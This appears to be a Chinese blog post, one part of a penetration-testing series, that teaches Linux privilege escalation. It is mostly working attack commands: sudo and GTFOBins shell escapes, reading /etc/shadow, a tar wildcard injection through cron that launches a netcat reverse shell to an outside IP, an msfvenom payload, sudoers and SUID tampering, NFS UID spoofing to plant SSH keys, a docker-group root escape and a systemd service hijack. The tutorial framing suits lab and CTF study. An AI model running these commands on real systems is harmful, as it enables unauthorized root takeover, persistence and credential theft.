Linux提权-2

发布于 2021-06-19  633 次阅读


《渗透测试》目录

一、滥用的SUDO权限

1.介绍:sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。

执行流程:当前用户转换到root,然后以root身份执行命令,执行完成后,直接退回到当前用户。

注意:执行sudo时输入的密码,是当前用户的密码,并非root密码。

2.sudo配置文件:/etc/sudoers

配置文件权限: 0440

sudo -l :显示出自己(执行 sudo 的使用者)的权限。
sudo –s:执行环境变数中的 shell所指定的 shell ,或是 /etc/passwd 里所指定的 shell

GTFOBins是Unix二进制文件的利用列表,可用于绕过配置错误的系统中的本地安全限制。

https://gtfobins.github.io/ (用于查找相关指令配置错误的提权命令)

一些常见的sudo滥用:
sudo /bin/ash
sudo /usr/bin/awk -F: '{print $1 $2}' /etc/shadow
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo curl file:///etc/shadow
sudo find . -exec /bin/sh \; -quit

大概分类:

  • 文件传输类
  • 查询类
  • 文件查看/修改类

二、Linux定时任务提权

crontab:定时任务的守护进程    

crontab –l:查看定时任务列表

系统定时任务:/etc/crontab (主要目标)
用户定时任务:/var/spool/cron/

基本格式:

*     *     *     *     *   command
分    时    日    月    周    命令
第一列表示分钟1~59 每分钟用*或者 */1表示
第二列表示小时1~23(0表示0点)
第三列表示日期1~31
第四列表示月份1~12
第五列表示星期0~6 (0表示星期天)
第六列为要运行的命令

注:在command前面还有一个用户列
cat /etc/crontab
查看以root用户执行的定时任务

ls -l /etc/crontab
查看该任务的文件权限

file /etc/crontab
查看文件属性是否为shell脚本

cat /etc/cron.daily/backup
查看运行的脚本内容,这个脚本将home目录下面的所有用户家目录下的文件备份打包到/etc/backup目录下

#脚本内容:
#!/bin/bash
#for i in $(ls /home);do cd /home/$i && /bin/tar /zcf /etc/backups/home-$i.tgz *; done

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.227 6789 >/tmp/f" > shell.sh   (文件里面包含要反弹的地址,一般反弹到本地)
echo > "--checkpoint-action=exec=sh shell.sh"        (写入一个空文件,以--开头,导致命令执行被误解)
echo > "--checkpoint=1"

--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序

上面的shell.sh文件可以通过msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R生成脚本
(mkfifo /tmp/wvew; nc 127.0.0.1 8888 0</tmp/wvew | /bin/sh >/tmp/wvew 2>&1; rm /tmp/wvew)

之后的定时任务执行时将会相当于执行以下命令:
tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh

echo 'echo "bob ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >shell.sh    (该脚本将bob用户变为sudo用户,可执行任意sudo命令)
echo "chmod u+s /usr/bin/find" > shell.sh    (将find命令变为suid权限,之后可以用suid提权)

三、SUID提权

suid权限说明:    

  1. 启动为进程之后,其进程的属主为原程序文件的属主
  2. 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
  3. 执行suid权限的程序时,此用户将继承此程序的所有者权限

find命令 查找拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null        (2>/dev/null意思是将标准错误输出到一个空文件,也就是不输出错误)
或者find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;        (查找出来的命令比较全)
查找出来的命令可通过https://gtfobins.github.io/ 网站来查找该命令是否有suid功能

四、Other

1.查看隐藏文件

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

2.NFS低权限访问

Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口,对应nfs服务。        

nmap -sS -T4 -p- 192.168.78.38

#攻击机上安装nfs客户端工具
apt-get install nfs-common

#使用showmount检索靶机文件夹列表
root@kali:~# showmount -e 192.168.1.9    (有时CTF比赛中可能出现该漏洞)
Export list for 192.168.1.9:
/home/peter *

#挂载peter home目录
mkdir /mnt/peter
mount 192.168.1.9:/home/peter /mnt/peter   (将远程的目录挂在到本地,目的是写入ssh公钥)    
(但是挂载的目录只有otehr权限,解决方法:
1.将目录挂载到/tmp/peter目录   
2.创建一个一模一样的用户,用户的uid、gid要相同,用户id通过/etc/passwd查看)

#df -h 查看信息
尝试在挂载的目录里创建文件,提示权限不够
即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者,伪造文件所有者的UID和GID来欺骗NFS服务器,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005

peter:x:1001:1005:,,,:/home/peter:/bin/bash

groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
切换到peter目录,发现可以写文件

###########################写入ssh公钥###########################
#[攻击机]ssh-keygen生成公私钥对
peter@kali:/mnt/peter$ ssh-keygen

#创建.ssh目录    (若有,则不需要创建)
peter@kali:/mnt/peter$ mkdir .ssh

#传输public key    (将本地生成的公钥复制到目标机器上)
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys

#设置权限        (权限一定要对)
peter@kali:/mnt/peter/.ssh$ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys
#使用私钥登录
ssh peter@192.168.1.9 -i ~/.ssh/id_rsa

查看可挂载目录

通过/etc/passwd查看目标用户id

挂载目标目录并创建相应用户

创建密钥并更改文件权限

远程登陆

3.Docker组提权   (需要目标用户属于docker组,并且可以联网下载)

peter用户属于docker组,docker组的成员,那么可以根据此漏洞来获取root的shell

peter@linsecurity:~$ docker --version
Docker version 18.03.1-ce, build 9ee9f40

https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

4.systemd配置提权

历史上,Linux 的启动一直采用init进程。

下面的命令用来启动服务:

$ sudo /etc/init.d/apache2 start
# 或者
$ service apache2 start

这种方法有两个缺点:
一是启动时间长。init进程是串行启动,只有前一个进程启动完,才会启动下一个进程。
二是启动脚本复杂。init进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。

Systemd 就是为了解决这些问题而诞生的。它的设计目标是为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用init了。Systemd 取代了initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。

systemctl是 Systemd 的主命令,用于管理系统。

# 重启系统
$ sudo systemctl reboot
# 关闭系统,切断电源
$ sudo systemctl poweroff systemd-analyze命令用于查看启动耗时。
# 查看启动耗时
$ systemd-analyze

查看peter用户的systemd配置,发现peter这个用户拥有debug.service文件,并且他对这个文件拥有读和写的权限。

peter@linsecurity:~$ whereis systemd
systemd: /usr/lib/systemd /bin/systemd /etc/systemd /lib/systemd /usr/share/systemd /usr/share/man/man1/systemd.1.gz

peter@linsecurity:~$ ls -al /lib/systemd/system/debug.service
-rw-r--r-- 1 peter root 205 Jul 9 2018 /lib/systemd/system/debug.service

如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service文件并更改run()命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。        

查看.service文件,这里我们可以修改ExecStart文件,除此之外还可以修改ExecStop和ExecReload来在停止和重启服务时执行命令。        

ExecStart为/root/debug,这是一个二进制服务并且该服务以root身份运行。        

使用一个类似ssh可以sudo执行的方法。让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设一个SUID位并且赋予执行权限

$ echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh                    (先在家目录写入这么一个systemdexpl.sh文件)
$ vim debug.service              (将ExecStart后面的目录改为/home/peter/systemdexpl.sh)
#然后等待重启电脑或者服务
#修改debug.service文件ExecStart来调用我们的脚本,该脚本是赋予/bin/bash以suid和guid权限

重启服务(无权限就重启机器,重开会话)        

利用suid提权

#重启之后家目录下会生成一个systemdbash文件,并且具有suid权限
#./systemdbash执行该文件
#通过搜索bash的suid利用方法进行提权:./systemdbash -p
#提权成功

也可以将systemdexpl.sh的内容修改为将公钥写入/root/.ssh下

peter@linsecurity:~$ echo -e '#!/bin/bash \ncp /home/peter/.ssh/* /root/.ssh/' > systemdexpl.sh  (将之前保存的公钥复制到root用户下)
peter@linsecurity:~$ chmod 777 systemdexpl.sh

可直接ssh登录root用户    (注意这里需要修改权限)       

#原理为登陆的用户取决于id_rsa.pub authorized_keys在哪个用户的家目录


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。